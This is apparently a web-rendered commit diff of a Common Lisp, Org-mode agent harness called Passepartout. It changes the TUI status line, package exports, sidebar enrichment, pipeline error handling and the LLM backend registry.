(cl-tty.backend:backend-clear curr-fb)
(redraw be curr-fb w h)
(cl-tty.rendering:flush-framebuffer prev-fb curr-fb be)
(rotatef prev-fb curr-fb))
(sleep 0.1))))

5
org/channel-tui-state.org
View File

@@ -50,7 +50,7 @@ All state mutation flows through event handlers in the controller.
:rule-count :cyan :focus-map :yellow
;; UI
:dim :white :highlight :cyan :accent :green)
"Color theme plist. 27 semantic keys → hex color strings.
"Color theme plist. 27 semantic keys → Croatoan color values.
See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
(defvar *tui-theme-presets*
@@ -146,9 +146,6 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
:collapsed-gates nil ; v0.7.2
:search-mode nil :search-query "" ; v0.7.2
:search-matches nil :search-match-idx 0
:sidebar-visible nil ; v0.8.0
:expand-tool-calls nil ; v0.8.0
:mcp-count 0 ; v0.8.0
:dirty (list nil nil nil))))
#+END_SRC

58
org/channel-tui-view.org
View File

@@ -45,54 +45,26 @@ that the TUI actuator attaches to the response plist before transmission.
#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-view.lisp
(in-package :passepartout.channel-tui)
(defun word-wrap (text width)
"Wrap TEXT to at most WIDTH columns. Splits on word boundaries.
Returns a list of strings, one per line."
(let ((lines nil))
(loop while (> (length text) width)
do (let ((break (or (position #\Space text :end width :from-end t)
width)))
(push (subseq text 0 break) lines)
(setf text (string-left-trim '(#\Space)
(subseq text break)))))
(push text lines)
(nreverse lines)))
(defun view-status (fb w)
(let* ((degraded (and (find-package :passepartout)
(boundp (find-symbol "*SYSTEM-HEALTH*" :passepartout))
(member (symbol-value (find-symbol "*SYSTEM-HEALTH*" :passepartout))
'(:degraded :unhealthy))))
(bg (if degraded :bright-yellow nil)))
;; Line 1: Connection, mode, msgs, scroll, rules, streaming/busy
(cl-tty.backend:draw-text fb 1 1
(format nil " Passepartout ~a [~a] msgs:~a scroll:~a Rules:~a~a"
(if (st :connected) "● Connected" "○ Disconnected")
(string-upcase (string (st :mode)))
(length (st :messages))
(if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
(or (st :rule-count) 0)
(if (st :streaming-text) " [streaming]"
(if (st :busy) " …thinking" "")))
(theme-color (if (st :connected) :connected :disconnected)) bg)
;; Line 2: Focus + Timestamp
(let ((line1 (format nil
" Passepartout ~a [~a] msgs:~a scroll:~a Rules:~a~a"
(if (st :connected) "● Connected" "○ Disconnected")
(string-upcase (string (st :mode)))
(length (st :messages))
(if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
(or (st :rule-count) 0)
(if (st :streaming-text) " [streaming]"
(if (st :busy) " …thinking" "")))))
(cl-tty.backend:draw-text fb 1 1 line1
(theme-color (if (st :connected) :connected :disconnected))
nil)
;; Second line: Focus map (left) + timestamp (right-aligned, v0.7.0)
(let ((focus-info (or (st :foveal-id) "")))
(when (and focus-info (> (length focus-info) 0))
(cl-tty.backend:draw-text fb 1 2 (format nil " [Focus: ~a]" focus-info)
(theme-color :timestamp) bg)))
(theme-color :timestamp) nil)))
(cl-tty.backend:draw-text fb (max 1 (- w 12)) 2 (format nil " ~a" (now))
(theme-color :timestamp) bg)
;; Line 3: Directory, LSP, MCP, commands hint (v0.8.0)
(let* ((cwd (or (uiop:getenv "PWD") (uiop:getcwd)))
(dir (subseq cwd (max 0 (- (length cwd) (- w 45)))))
(lsp-color (if (st :connected) :green :dim))
(mcp-count (or (st :mcp-count) 0))
(hint " Ctrl+P: commands /help: help"))
(cl-tty.backend:draw-text fb 1 3 (format nil " ~a" dir) (theme-color :dim) bg)
(cl-tty.backend:draw-text fb (+ 2 (length dir)) 3 "●" (theme-color lsp-color) bg)
(cl-tty.backend:draw-text fb (+ 5 (length dir)) 3 (format nil " MCP:~d" mcp-count)
(theme-color :dim) bg)
(cl-tty.backend:draw-text fb (- w (length hint) 2) 3 hint (theme-color :timestamp) bg))))
(theme-color :timestamp) nil)))
;; v0.7.2: search-highlight — wrap matching text in **bold** for markdown
(defun search-highlight (content query)

44
org/core-act.org
View File

@@ -30,13 +30,7 @@ Because a skill's deterministic gate runs during Reason, but between Reason and
~action-dispatch~, sets ~:status :acted~, returns feedback.
2. (act-gate signal): thin alias for ~loop-gate-act~.
3. (action-dispatch approved signal): routes approved actions to
registered actuators by ~:target~ keyword.
4. (tui-enrich-response action context): enriches the outgoing action
plist with sidebar fields — ~:block-counts~, ~:context-usage~,
~:modified-files~, ~:session-cost~ (v0.8.0) — plus existing
~:rule-count~ and ~:foveal-id~ (v0.4.0). Each field is
~fboundp~-guarded; missing skills produce nil. Called from the
~:tui~ actuator lambda.
registered actuators by ~:target~ keyword.
* Implementation
@@ -93,44 +87,18 @@ Because a skill's deterministic gate runs during Reason, but between Reason and
0))
(setf (getf (getf action :payload) :foveal-id)
(getf context :foveal-id))
;; v0.8.0: sidebar enrichment via fboundp guards
(when (fboundp 'dispatcher-block-counts-summary)
(setf (getf (getf action :payload) :block-counts)
(dispatcher-block-counts-summary)))
(when (fboundp 'context-usage-percentage)
(setf (getf (getf action :payload) :context-usage)
(context-usage-percentage)))
(when (fboundp 'tool-modified-files-summary)
(setf (getf (getf action :payload) :modified-files)
(tool-modified-files-summary)))
(when (fboundp 'cost-session-summary)
(setf (getf (getf action :payload) :session-cost)
(cost-session-summary)))
(format stream "~a" (frame-message action))
(finish-output stream))))))
#+end_src
** TUI Differentiator Enrichment (v0.4.0, extended v0.8.0)
** TUI Differentiator Enrichment (v0.4.0)
The TUI actuator is the last point in the pipeline before the response leaves the daemon. It enriches the action plist with fields that power the TUI's differentiator visualizations:
- ~:rule-count~ = ~(hash-table-count *hitl-pending*)~ — the number of pending HITL actions. The user watches this counter tick as they teach the agent their preferences. (v0.4.0)
- ~:foveal-id~ = the current foveal focus from the signal context — enables the TUI's focus map status line. (v0.4.0)
- ~:gate-trace~ — already attached by ~cognitive-verify~, flows through the action plist unchanged. (v0.4.0)
v0.8.0 adds four sidebar fields via ~fboundp~ guards — same pattern as
~core-reason.lisp~'s calls into token-economics, awareness, and time skills.
Each field degrades gracefully to nil when its source skill is not loaded:
- ~:block-counts~ = ~(dispatcher-block-counts-summary)~ — per-gate block tallies from ~security-dispatcher~. Powers the sidebar's Protection panel.
- ~:context-usage~ = ~(context-usage-percentage)~ — token budget percentage from ~token-economics~. Powers the sidebar's Context gauge.
- ~:modified-files~ = ~(tool-modified-files-summary)~ — files modified this turn from ~programming-tools~. Powers the sidebar's Files panel.
- ~:session-cost~ = ~(cost-session-summary)~ — cumulative cost data from ~cost-tracker~. Powers the sidebar's Cost panel.
The enrichment is added inside the existing ~:tui~ actuator lambda (one block
after the ~:rule-count~ and ~:foveal-id~ enrichment). No new actuator is
registered; no new ASDF component is added. The contract is: each field
arrives via ~fboundp~ guard and is silently nil when unavailable.
- ~:rule-count~ = ~(hash-table-count *hitl-pending*)~ — the number of pending HITL actions. The user watches this counter tick as they teach the agent their preferences.
- ~:foveal-id~ = the current foveal focus from the signal context — enables the TUI's focus map status line.
- ~:gate-trace~ — already attached by ~cognitive-verify~, flows through the action plist unchanged.
#+end_src
** Action Dispatch (action-dispatch)

310
org/core-package.org
View File

@@ -11,7 +11,7 @@
The export list is the contract between the harness and all skills. Every function exported here is accessible to every skill via ~use-package~. Adding a symbol here is an API commitment; removing one is a breaking change.
The implementation section includes:
- ~proto-get~ — robust plist accessor used everywhere in the pipeline
- ~plist-get~ — robust plist accessor used everywhere in the pipeline
- Logging state (~*log-buffer*~, ~*log-lock*~) — bounded ring buffer for LLM context
- Skill registry (~*skill-registry*~, ~defskill~) — all loaded skills live here
- Cognitive tool registry (~*cognitive-tool-registry*~, ~def-cognitive-tool~, ~cognitive-tool-prompt~)
@@ -21,47 +21,29 @@ The implementation section includes:
* Implementation
** Package Definition and Export List
The export list is organized by source module so a contributor can find
where to add new exports:
The package definition. All public symbols are exported here.
#+begin_src lisp
(defpackage :passepartout
(:use :cl)
(:export
;; ── Core: Transport & Protocol ──
#:frame-message
#:read-framed-message
#:PROTO-GET
#:proto-get
#:PROTO-GET
#:proto-get
#:*VAULT-MEMORY*
#:make-hello-message
#:validate-communication-protocol-schema
#:start-daemon
#:register-actuator
#:actuator-initialize
#:action-dispatch
;; ── Core: Pipeline ──
#:main
#:log-message
#:*log-buffer*
#:*log-lock*
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:stimulus-inject
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
;; ── Core: Memory ──
#:main
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:register-provider
#:provider-openai-request
#:provider-config
#:run-setup-wizard
#:ingest-ast
#:memory-object-get
#:*memory-store*
@@ -78,7 +60,6 @@ where to add new exports:
#:memory-object-content
#:memory-object-hash
#:memory-object-scope
#:memory-objects-by-attribute
#:snapshot-memory
#:rollback-memory
#:undo-snapshot
@@ -86,12 +67,10 @@ where to add new exports:
#:redo
#:*undo-stack*
#:*redo-stack*
;; ── Core: Context & Awareness ──
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
#:push-context
#:pop-context
#:current-context
@@ -103,25 +82,91 @@ where to add new exports:
#:focus-session
#:focus-memex
#:unfocus
#:*scope-resolver*
;; ── Core: Skills Engine ──
#:skill
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:json-alist-to-plist
#:inject-stimulus
#:stimulus-inject
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate
#:wildcard-match
#:actuator-initialize
#:action-dispatch
#:register-actuator
#:load-skill-from-org
#:skill-initialize-all
#:lisp-syntax-validate
#:defskill
#:*skill-registry*
#:*scope-resolver*
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
#:skill
#:skill-name
#:skill-priority
#:skill-dependencies
#:skill-trigger-fn
#:skill-probabilistic-prompt
#:skill-deterministic-fn
#:defskill
#:*skill-registry*
#:skill-initialize-all
#:load-skill-from-org
#:lisp-syntax-validate
;; ── Core: Cognitive Tools ──
#:def-cognitive-tool
#:*cognitive-tool-registry*
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:literate-tangle-sync-check
#:archivist-create-note
#:gateway-start
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
#:get-oc-config-dir
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:cognitive-tool
#:cognitive-tool-name
#:cognitive-tool-description
@@ -129,132 +174,59 @@ where to add new exports:
#:cognitive-tool-guard
#:cognitive-tool-body
#:tool-read-only-p
;; ── Security: Dispatcher ──
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate
#:wildcard-match
;; ── Security: HITL ──
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
;; ── Security: Vault & Permissions ──
#:*VAULT-MEMORY*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:policy-compliance-check
#:validator-protocol-check
;; ── Embedding ──
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
;; ── Channels ──
#:channel-cli-input
#:gateway-start
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p
;; ── Programming: Lisp ──
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
;; ── Programming: Org ──
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
;; ── Programming: Literate & REPL ──
#:literate-tangle-sync-check
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:repl-eval
#:repl-inspect
#:repl-list-vars
;; ── Symbolic ──
#:archivist-create-note
#:archivist-extract-headlines
#:archivist-headline-to-filename
;; ── Diagnostics & Config ──
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:get-oc-config-dir
#:run-setup-wizard
;; ── Providers ──
#:register-provider
#:provider-openai-request
#:provider-config
;; ── Token Economics ──
#:count-tokens
#:model-token-ratio
#:token-cost
#:provider-token-cost
#:cost-track-call
#:cost-session-total
#:cost-session-calls
#:cost-by-provider
#:cost-session-reset
#:cost-format-budget-status
#:cost-track-backend-call
#:prompt-prefix-cached
#:context-assemble-cached
#:enforce-token-budget
#:token-economics-initialize))
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:memory-objects-by-attribute
#:channel-cli-input
#:repl-eval
#:repl-inspect
#:repl-list-vars
#:policy-compliance-check
#:validator-protocol-check
#:archivist-extract-headlines
#:archivist-headline-to-filename
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p
#:count-tokens
#:model-token-ratio
#:token-cost
#:provider-token-cost
#:cost-track-call
#:cost-session-total
#:cost-session-calls
#:cost-by-provider
#:cost-session-reset
#:cost-format-budget-status
#:cost-track-backend-call
#:prompt-prefix-cached
#:context-assemble-cached
#:enforce-token-budget
#:token-economics-initialize))
#+end_src
** Package Implementation
The package implementation section defines the low-level utilities and global state that are shared across all harness components and skills.
*** Robust plist access (plist-get)
Retrieves a value from a plist, checking both upper and lowercase keyword variants. This is needed because different components use different keyword conventions.
#+begin_src lisp
(in-package :passepartout)
(defun plist-get (plist key)
"Robust plist accessor — checks both :KEY and :key variants."
(let* ((s (string key))
(up (intern (string-upcase s) :keyword))
(dn (intern (string-downcase s) :keyword)))
(or (getf plist up) (getf plist dn))))
#+end_src
*** Logging state

12
org/core-perceive.org
View File

@@ -109,6 +109,18 @@ FN receives (signal) and returns T if consumed, nil to continue."
(setf (gethash sensor *pre-reason-handlers*) fn))
#+end_src
** inject-stimulus backward-compatibility alias
Skills and external code that still call ~inject-stimulus~ (the previous
name for the pipeline injection function) can use this alias. New code
should call ~stimulus-inject~ directly.
;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp
(defun inject-stimulus (raw-message &key stream (depth 0))
(stimulus-inject raw-message :stream stream :depth depth))
#+end_src
** Stimulus Injection (stimulus-inject)
This is the entry point that gateways call to send a message into the cognitive pipeline. It sets metadata (source, session ID, reply stream), decides whether the stimulus should be processed synchronously or on a background thread, and wraps the whole thing in error recovery so that no single bad stimulus can crash the system.

133
org/core-pipeline.org
View File

@@ -28,37 +28,19 @@ The stage separation is the functional equivalent of the "thin harness" principl
A signal that generates another signal that generates another signal can infinite-loop. The depth limit (max 10) prevents this. If depth exceeds 10, the signal is silently dropped. This is the metabolic loop's circuit breaker.
The three-tier error recovery model, now backed by a condition hierarchy
that skills can hook into via ~handler-bind~:
1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry. Use the ~skip-signal~ or ~use-fallback~ restart.
2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot.
3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement.
Condition types available for structured error handling:
- ~pipeline-error~ — any Perceive→Reason→Act failure
- ~llm-error~ — provider timeout, cascade exhaustion, API error (slots: provider, cascade, attempt-count)
- ~gate-error~ — dispatcher blocked a proposed action (slots: gate-name, rejected-action)
- ~budget-error~ — session cap exceeded (slots: remaining, requested)
- ~protocol-error~ — malformed message or framing failure
The three-tier error recovery model:
1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry
2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot
3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement
** Contract
1. (loop-process signal): the full pipeline loop — Perceive → Reason
→ Act. Enforces depth limit (10). Catches errors with rollback and
~:loop-error~ re-injection on non-terminal errors below depth 2.
Establishes restart options: ~skip-signal~ (drop the event),
~use-fallback text~ (inject canned response), ~abort-pipeline~
(clean exit). Skills can invoke these restarts from ~handler-bind~
clauses on the condition hierarchy.
2. (process-signal signal): thin alias for ~loop-process~.
3. (diagnostics-startup-run): runs health check on startup, sets
~*system-health*~ to ~:healthy~, ~:degraded~, or ~:unhealthy~.
4. *passepartout-error* condition hierarchy: ~pipeline-error~,
~llm-error~ (provider, cascade, attempt-count slots), ~gate-error~
(gate-name, rejected-action slots), ~budget-error~ (remaining,
requested slots), ~protocol-error~ (raw-message slot). All carry a
~:message~ string via the root ~passepartout-error~.
* Implementation
@@ -67,54 +49,6 @@ Condition types available for structured error handling:
(in-package :passepartout)
#+end_src
** Error Condition Hierarchy
The pipeline defines a condition hierarchy so callers can distinguish
failure modes without inspecting raw error strings. Every pipeline
condition carries structured slots for telemetry and restart selection.
Skills install ~handler-bind~ for specific conditions (e.g., a provider
health monitor that records ~llm-error~ failures per backend). The
restarts registered in ~loop-process~ enable structured recovery:
skip the signal, retry with a modified prompt, inject a fallback
response, or abort the cycle.
#+begin_src lisp
(define-condition passepartout-error (error)
((message :initarg :message :reader error-message))
(:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
(:documentation "Root of the pipeline error hierarchy."))
(define-condition pipeline-error (passepartout-error)
((signal :initarg :signal :reader pipeline-error-signal :initform nil))
(:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
(:documentation "Any error during the Perceive→Reason→Act cycle."))
(define-condition llm-error (pipeline-error)
((provider :initarg :provider :reader llm-error-provider)
(cascade :initarg :cascade :reader llm-error-cascade :initform nil)
(attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
(:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
(:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
(define-condition gate-error (pipeline-error)
((gate-name :initarg :gate-name :reader gate-error-gate-name)
(rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
(:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
(:documentation "Deterministic gate blocked a proposed action."))
(define-condition budget-error (pipeline-error)
((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
(requested :initarg :requested :reader budget-error-requested :initform 0.0))
(:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
(:documentation "Session budget cap has been reached."))
(define-condition protocol-error (passepartout-error)
((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
(:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
(:documentation "Malformed message, framing failure, or schema violation."))
#+end_src
** Global Interrupt State
Thread-safe interrupt flag. The ~*loop-interrupt-lock*~ mutex protects access so that the signal handler and the main loop don't race on shutdown.
@@ -173,42 +107,27 @@ The main pipeline entry point.
(log-message "METABOLISM: Interrupted by shutdown signal.")
(return nil))
(restart-case
(handler-bind
((pipeline-error (lambda (c)
(log-message "PIPELINE ERROR: ~a" (error-message c)))))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
(skip-signal ()
:report "Drop the current signal and continue the loop."
(setf current-signal nil))
(use-fallback (text)
:report "Inject a canned response instead of the LLM result."
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message text :depth depth))))
(abort-pipeline ()
:report "Terminate the cognitive cycle cleanly."
(return nil)))))))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
#+end_src
*** process-signal (backward-compatibility alias)
@@ -430,4 +349,4 @@ Verifies that the immune system (error handling) correctly catches and reports e
"Contract 1: depth > 10 returns nil from loop-process."
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
(is (null result))))
#+end_src
#+end_src

301
org/core-reason.org
View File

@@ -56,26 +56,6 @@ This is not a cosmetic choice. It means the reasoning pipeline can generate, mod
String keys → upcased keywords. Nested alists recurse into plists.
JSON arrays (lists whose first element is not a cons) pass through.
Scalars and nil pass through.
6. (think-assemble-prompt context): returns three values —
~system-prompt~ (the full prompt string), ~raw-prompt~ (user text or
skill-generated), and ~reply-stream~ (for streaming responses).
Handles all conditional assembly paths: TIME section, CONFIG section,
IDENTITY (assistant name + identity file + standing mandates +
reflection feedback), TOOLS, CONTEXT, LOGS. Gracefully degrades when
awareness or token-economics skills are not loaded.
7. (think-call-llm raw-prompt system-prompt reply-stream context): calls
the LLM. Checks session budget exhaustion before dispatching
(v0.5.0 deferred, ~fboundp~-guarded). Uses streaming
(~cascade-stream~) when reply-stream is non-nil and the streaming
module is loaded; falls back to ~backend-cascade-call~ otherwise.
Returns the raw thought (string or plist with ~:tool-calls~) or
a budget-exhaustion message.
8. (think-parse-response thought): parses the LLM response into an action
plist. Handles three paths: structured ~:tool-calls~ (convert JSON args
to plist via ~json-alist-to-plist~), raw S-expression text (parse with
~*read-eval* nil~, normalize keywords), and plain text (wrap as
~:MESSAGE~ action). Tracks cost via ~cost-track-backend-call~ when
available. Guarantees a valid plist for any input.
* Implementation
@@ -100,11 +80,16 @@ Skills like system-model-provider register into this table at boot time.
(setf (gethash name *probabilistic-backends*) fn))
#+end_src
The probabilistic engine maintains three pieces of global state that control how LLM requests are dispatched:
The probabilistic engine maintains four pieces of global state that control how LLM requests are dispatched:
~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus.
~*backend-registry*~ is a hash table mapping provider keywords (like ~:ollama~ or ~:openrouter~) to the actual function that calls that provider's API. ~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus.
Providers register into ~*probabilistic-backends*~ (declared above) via ~register-probabilistic-backend~. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).
These variables are configurable at runtime. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).
;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp
(defvar *backend-registry* (make-hash-table :test 'equal))
#+end_src
** Provider Cascade
@@ -127,6 +112,19 @@ Providers register into ~*probabilistic-backends*~ (declared above) via ~registe
(defvar *consensus-enabled* nil)
#+end_src
** Backend Registration (backend-register)
Each LLM provider registers itself by calling this function. The backend function receives a prompt string, a system prompt string, and optional keyword arguments for model selection. It must return either a plist with ~:status :success~ and ~:content~, or ~:status :error~ with a message.
Registration is typically done at boot time by the unified-llm-backend skill, but can also be done dynamically:
(backend-register :my-custom-provider #'my-fn)
;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp
(defun backend-register (name fn)
(setf (gethash name *backend-registry*) fn))
#+end_src
** Cascade Dispatch (backend-cascade-call)
Given a prompt, this function iterates through the provider cascade and calls each backend in order until one succeeds. A provider "succeeds" when it returns ~:status :success~ with content, or when it returns a plain string (the LLM's raw output).
@@ -150,7 +148,8 @@ This is deliberately resilient. The system should never crash because an LLM pro
(dolist (backend backends (or result
(list :type :LOG
:payload (list :text "Neural Cascade Failure: All providers exhausted."))))
(let ((backend-fn (gethash backend *probabilistic-backends*)))
(let ((backend-fn (or (gethash backend *backend-registry*)
(gethash backend *probabilistic-backends*))))
(when backend-fn
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
(let* ((model (and *model-selector*
@@ -226,17 +225,6 @@ Token economics (v0.5.0): when ~token-economics~ is loaded, ~think()~ uses
each cascade call via ~cost-track-backend-call~. All four calls are
~fboundp~-guarded — when the module is not loaded, behavior is unchanged.
~think()~ is the orchestrator that composes three sub-functions:
1. *think-assemble-prompt* — builds the full system prompt from context,
awareness, logs, identity, standing mandates, and tool belt.
2. *think-call-llm* — dispatches to the LLM (streaming or batch cascade).
3. *think-parse-response* — converts the LLM's output to an action plist,
handling structured tool-calls, raw S-expressions, and plain text.
The orchestrator snapshots memory, calls the three phases in sequence,
and returns the action plist that flows into ~cognitive-verify~.
;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp
;; v0.7.2: live config section for system prompt
@@ -261,18 +249,19 @@ and returns the action plist that flows into ~cognitive-verify~.
(if (string= provider-names "") "default" provider-names)
context-window gate-count rules-count)))
(defun think-assemble-prompt (context)
"Phase 2-3 of the metabolic cycle: context + system prompt assembly.
Returns three values: system-prompt, raw-prompt, reply-stream."
(defun think (context)
;; v0.7.2: auto-snapshot at turn boundaries
(when (fboundp 'snapshot-memory)
(snapshot-memory))
(let* ((sensor (proto-get (proto-get context :payload) :sensor))
(active-skill (find-triggered-skill context))
(tool-belt (generate-tool-belt-prompt))
(reply-stream (proto-get context :reply-stream))
(global-context (if (fboundp 'context-assemble-cached)
(context-assemble-cached context sensor)
(if (fboundp 'context-assemble-global-awareness)
(context-assemble-global-awareness)
"[Awareness skill not loaded]")))
(reply-stream (proto-get context :reply-stream)) ; v0.7.1: streaming
(global-context (if (fboundp 'context-assemble-cached)
(context-assemble-cached context sensor)
(if (fboundp 'context-assemble-global-awareness)
(context-assemble-global-awareness)
"[Awareness skill not loaded]")))
(system-logs (if (fboundp 'context-get-system-logs)
(context-get-system-logs)
"[No system logs available]"))
@@ -286,126 +275,100 @@ Returns three values: system-prompt, raw-prompt, reply-stream."
(reflection-feedback (if rejection-trace
(format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
""))
(standing-mandates-text (let ((out ""))
(dolist (fn *standing-mandates*)
(let ((text (ignore-errors (funcall fn context))))
(when (and text (stringp text) (> (length text) 0))
(setf out (concatenate 'string out text (string #\Newline))))))
(when (> (length out) 0) out)))
(identity-content (if (fboundp 'agent-identity)
(agent-identity)
""))
(config-section (if (fboundp 'assemble-config-section)
(assemble-config-section)
""))
(time-section (if (fboundp 'sensor-time-duration)
(format-time-for-llm
:session-duration-seconds (funcall (symbol-function 'session-duration)))
(if (fboundp 'format-time-for-llm)
(format-time-for-llm)
"")))
(system-prompt (if (fboundp 'prompt-prefix-cached)
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
reflection-feedback
standing-mandates-text tool-belt)))
(if (fboundp 'enforce-token-budget)
(multiple-value-bind (pfx ctxt logs _ mandates)
(enforce-token-budget prefix global-context system-logs
raw-prompt standing-mandates-text)
(declare (ignore _))
(setf standing-mandates-text mandates)
(standing-mandates-text (let ((out ""))
(dolist (fn *standing-mandates*)
(let ((text (ignore-errors (funcall fn context))))
(when (and text (stringp text) (> (length text) 0))
(setf out (concatenate 'string out text (string #\Newline))))))
(when (> (length out) 0) out)))
